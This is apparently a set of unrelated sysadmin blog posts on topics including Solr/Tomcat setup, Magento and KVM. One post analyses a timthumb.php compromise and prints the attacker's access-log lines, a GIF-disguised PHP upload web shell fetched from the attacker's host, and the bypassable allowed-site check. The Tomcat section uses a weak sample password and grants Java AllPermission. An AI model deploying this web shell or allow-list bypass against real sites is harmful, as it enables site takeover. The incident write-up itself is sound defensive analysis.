Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can’t use it).

Install Tomcat (and Java)

apt-get install sun-java6-jre

Edit /etc/profile and set a JAVA_HOME – so add in something like :

# Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre

And then do :

. /etc/profile

So those settings are set / present within your environment (or logout and back in).

Next, install Tomcat :

apt-get install tomcat5.5

and then

apt-get install tomcat5.5-admin

Configure Tomcat

Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you’ll need to give the user a role of admin and manager.

e.g.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="manager"/>
  <role rolename="tomcat"/>
  <role rolename="admin"/>
  <role rolename="role1"/>
  <user username="palepurple" password="letmein" roles="admin,manager,tomcat"/>
</tomcat-users>

And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.

In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop – this is just to improve security.

Finally, it seems necessary to grant permission for Java to log to /var/log/tomcat5.5… .a dirty way of achieving this is to edit :

/etc/java-6-sun/security/java.policy

and add in (near the top)

grant {
	permission java.security.AllPermission;
};

(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it’s an acceptable fix; I’m sure Google can provide more eloquent fixes.).

Installing Solr

Download; unpack and install .war file :

cd /root

wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz

tar -zxf apache-solr-3.4.0.tgz

cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps

If you now restart Solr, you’ll find some log files and stuff of use in /var/log/tomcat5.5 – looking in the catalina log file there you’ll see it moaning about not finding solrconfig.xml and so on. To fix this -

cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/

And edit /etc/default/tomcat55 to contain :

export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"

This tells Solr where to find it’s configuration and so on.

Then edit :

/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included – so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) – part of the solrconfig.xml is below :

  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" />
  <!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" />

  <!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" />

Next create the data directory for solr to use :

mkdir /var/lib/tomcat5.5/solr/data

chown tomcat55 /var/lib/tomcat5.5/solr/data

And restart tomcat.

At this point you should be able to visit :

http://localhost:8180/apache-solr-3.4.0/admin/

If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log

WordPress stuff

cd /path/to/wordpress/wp-content/plugins

git clone https://github.com/mattweber/solr-for-wordpress.git

cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/

<<restart tomcat again; /etc/init.d/tomcat5.5. restart >>

Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you’re off.

1.  Enable plugin
2. Goto settings -> solr options -> select single server; tell it to use localhost, port 8180 and under the path ‘/apache-solr-3.4.0′
3.  Perform the ‘server ping’ check; and then tell WordPress you want to index your pages/posts etc as you see fit.

A customer’s web server has the following requests in it :

[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.

Making a request to superflickr.com.nu shows  :

$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;<?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?>;

Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :

$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);

But it’s check is somewhat flawed -

foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}

Hence, superflickr.com.nu escapes through, as it contains the string ‘flickr.com’.

And then, because it performs an ‘md5′ of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the ‘cache’ directory would have solved this.

Alternatively the developers could have bothered to check the extension of the URL being retrieved….

Anyway, when creating your front controller in Slim, you can define ‘middleware‘ (i.e. call back functions) which are executed when a route matches and runs – before your actual ‘controller’ code.

So for example, a simple route would look like :

Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );

With additional ‘middleware’ it could look like :

Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );

(Obviously in a real application you wouldn’t have echo statements in the front controller class)

The $caching_middleware could look like :

$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' => true,
              'default_options' => array('cache' => true,
                                         'cache_with_get_parameters' => false,
                                         'cache_with_session_variables' => true,
                                         'cache_with_cookie_variables' => true),
        ));
    $cache->start();
};

(I’ve left the debug_header in, so it’s obvious when it’s working ).

And $authentication_check is another call back – this time presumably checking $_SESSION for something….

“The iphone could not be restored an unknown error occurred 1013″

In my case, the fix was to edit /etc/hosts (OSX) and comment out / remove an entry for :

74.208.10.249 gs.apple.com

I have a feeling this was put there by TinyUmbrella or something, but nevermind. It works now.

On Tuesday night, I was playing catchup with the PHPClasses podcast, and heard about their ‘unusual’ optimisations – which involved using a loader class to pull in JS etc after the page had loaded. So, off I went to phpclasses.org, and found contentLoader.js (See it’s page – here).

Implementation is relatively easy, to the extent of adding the loader into the top of the document and “rewriting” any existing script tags/content so they’re loaded through the contentLoader.

<script src="/wp-content/themes/xxxx/scripts/contentLoader.js" type="text/javascript"></script>
<script type="text/javascript">
var cl = new ML.content.contentLoader();
// uncomment, debug does nothing for me, but the delayedContent one does.
//cl.debug = true;
//cl.delayedContent = '<div><img src="/wp-content/themes/images/loading-image.gif" alt="" width="24" height="24" /></div>';
</script>

And then adding something like the following at the bottom of the page :

<script type="text/javascript">
cl.loadContent();
</script>

And, then around any Javascript you want to delay loading until after the page is ready, use :

<script>
cl.addContent({
		    content: '' +'' + '<' + 'script type="text/javascript"' + ' src="http://remote.js/blah/blah.js" />' ,
		    inline: true,
		    priority: 50
		});
</script>

You can control the priority of the loading – lower numbers seem to be loaded first. You can also specify a height:/width: within the addContent – but I’m not sure these work.

For all I know there may be many other similar/better mechanisms to achieve the same – I’m pretty ignorant/clueless when it comes to Javascript. It’s a bit difficult for me to test it – as I have a fairly quick net connection – however it seems to move content around when looking at the net connections from FireBug, so I think it’s working as expected.

I randomly installed RunKeeper on my iPhone, and I seem to be running at about 4minutes 30seconds per kilometer (I did 9.6km at this pace). The furthest I’ve been recently is about 13-14 miles, I think…

So, upcoming events:

• Timberhonger 10k… soon..
• Sherwood/Nottingham Half Marathon (September)

I had intended to do the Sherwood Marathon last year, but then I injured myself… so hopefully this year will work out better.

/media/catalog/product/cache/1/image/5e06319eda06f020e43594a9c230972d/images/catalog/product/placeholder/image.jpg

Things tried which didn’t help :

1. rebuilding various Magento image caches and so on (login as admin -> System -> Cache management).
2. Check PHP’s memory limit… (512mb… shouldn’t be a problem!)
3. Check permissions on the media directory (chown -R www-data media .. didn’t fix it)
4. Check PHP has gd installed/enabled – yes.
5. Disable suhosin (no change)
6. Check PHP logs (nothing relevant)
7. Check Apache logs (nothing relevant)
8. Changing the product to use a different thumbnail etc image (didn’t help)

I already knew the original host didn’t have a case sensitive file system, and this was partially fixed this using mod_speling in Apache, but this obviously doesn’t help when e.g. PHP decides to read and resize an image file.

I then tried comparing the contents in media/catalog/product with what’s in the catalog_product_entity_varchar table. So, in my case :

select value from catalog_product_entity_varchar where value like '/F%' limit 1;

returned something like :

/f/i/file_4_1.jpg

And looking in the above mentioned directory, only showed a directory called F. Simple fix… :

mv F f

(Obviously check the table doesn’t make reference to images with /F in them….  in my case it didn’t.)

<<reload web browser; images all appear and everything works.>>

What sort of idiot created case insensitive filesystems… grr.

Still, at least people can now browse online for Kitchens …. and see the appropriate thumbnails.

So, here’s how to do the ‘virsh console ‘ thing …

1. Edit /etc/default/grub, specify 

   GRUB_TERMINAL=serial
   GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1"
   GRUB_CMDLINE_LINUX_DEFAULT=""
   GRUB_CMDLINE_LINUX="text console=tty0 console=ttyS0,115200n8"
   

2. Run update-grub
3. Edit /etc/inittab and enable ttyS0 for logins.
4. Reboot
5. ‘virsh console servername’ on the kvm host.

The libvirt config files I have already have the appropriate bits in them -

<serial type='pty'><target port='0'/></serial>
<console type='pty'><target type='serial' port='0'/></console>

Edit /etc/default/rcS on Debian/Ubuntu servers, and set FSCKFIX=yes (default of no) so next time your server runs fsck at startup, and spends hours doing it to only moan when it finds an error, and tells you to waste more time by running fsck with ‘-y’ (to fix it).

Quite why fsck even asks me to say ‘yes’ to it’s “do you want to fix…?” questions is another matter. It really annoys me – it’s not like I have enough information to make any sort of informed choice – it’s not like I know the structure that’s present on the disk, in order to say “No! You’re wrong FSCK, inode xxxxx should be blahblahblah”. I can only say ‘yes’.

If only FSCKFIX=yes was the default setting….. I can’t imagine Windows or OSX ever asking someone to answer such questions.